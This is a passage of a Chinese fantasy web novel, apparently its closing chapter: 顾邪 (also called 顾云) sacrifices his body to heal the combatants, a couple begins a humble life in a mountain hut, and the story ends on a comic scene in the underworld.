顾邪一脸沮丧,抬头一看,无冥与郁雨曦正在打情骂俏,瞬间懵逼:“不对啊,若如此,你们为何还能相聚啊。” 无冥朝顾邪招了招手,顾邪领会其意,附耳过去。无冥小声说了几句,顾邪一转愁容,满脸喜悦。 无冥道:“好了,别让造物主难堪了,该怎么做,你应该清楚,回去吧。” 昭相雪还欲问些什么,无冥轻轻一挥,两人神识瞬间被弹出万幻珠。 “顾前辈,狐前辈到底说了些什么啊,我到底怎样才能再见到婉儿啊?” 昭相雪一脸焦急,顾邪毫无反应,只是小声说了句:“馨儿,对不起,我竟然让你等了这么多年!对不起,我来晚了!”话罢顾邪腾云升至天空,发出耀眼光辉,照亮场上每一个人,不管是魅影教众还是中原侠客,皆在光芒之内,刚开始,众人还欲逃脱,但众人渐渐发现,这光芒竟有愈合伤口重塑元神之效! 大战过后,顾云竟散去肉身,化作圣药医治众人!昭相雪一脸懵逼,难不成,这便是复活之法!不应该啊! 昭相雪再次喊道:“顾前辈,狐前辈到底说了什么?这便是复活之法吗?”话音落后,并没一人回答,不久后,圣光褪去,一阵风吹过昭相雪耳畔。 “有空啊,去忘忧楼喝杯酒,那儿的忘忧,可一点儿也不苦!” 听这声,是顾云的没错:“忘忧楼?那儿有忘忧酒吗?没有吧,上次去都没有啊,难道说!?”昭相雪一脸欣喜,化作一道黑烟,瞬间消失,飞速往忘忧楼赶去。 至于琼剑山的“正魔”两道,谁也不服谁,但没了主心骨,再想大战自是不可能,当下各自退去,嚷嚷着改日再战,但具体时日,两方默契的都没约定,想来,谁也不想真的再战了吧。 寒风瑟瑟,孤月凄凄。 夜色笼罩下的山野,无蝉鸣亦无人语,尽是一片漆黑死寂。 山野间,一茅草屋亮起烛火,突然渗出的烛光,刹那间几乎将整座山野点亮,烛光很弱,却给荒芜冷寂的山野平添了些许温暖。 细看这间茅屋,脏乱无比,满是尘灰、蛛网。一张破桌、一张破床,一张破草席,外加一个破灶,一口破锅,两个破罐,三只破碗,半截蜡烛。东西还挺齐全,只可惜,除了蜡烛,没一样是好的,不过,凑合凑合,慢慢修补清理,过过小日子还是没问题的。 男子道:“你可想好了,乡间的生活可比鲜卑公主的生活苦多了,你真的受得住吗?” 女子道:“我有什么受不住的,想当年我在凌云谷时,那是渴了喝露水,饿了吃野鸡。这不照样活得好好的嘛。倒是你,鲁相国的儿子,真的愿意陪我过这乡野的苦日子吗?” 男子笑了笑:“当然,往后余生,我只要你。” 万幻珠内: 无冥冲顾云招了招手,顾云倾耳过去,无冥小声说道:“都是仙境圣者,虽干不过造物主,但敲打敲打阎王还是没问题的,你懂的吧!” 顾云笑了笑,茅塞顿开。 地府下,阎王接连打了三个喷嚏,吐槽道:“屁大点官,咋这么多人记恨呢!快查查,又是哪位爷要来闹啊!” 【完】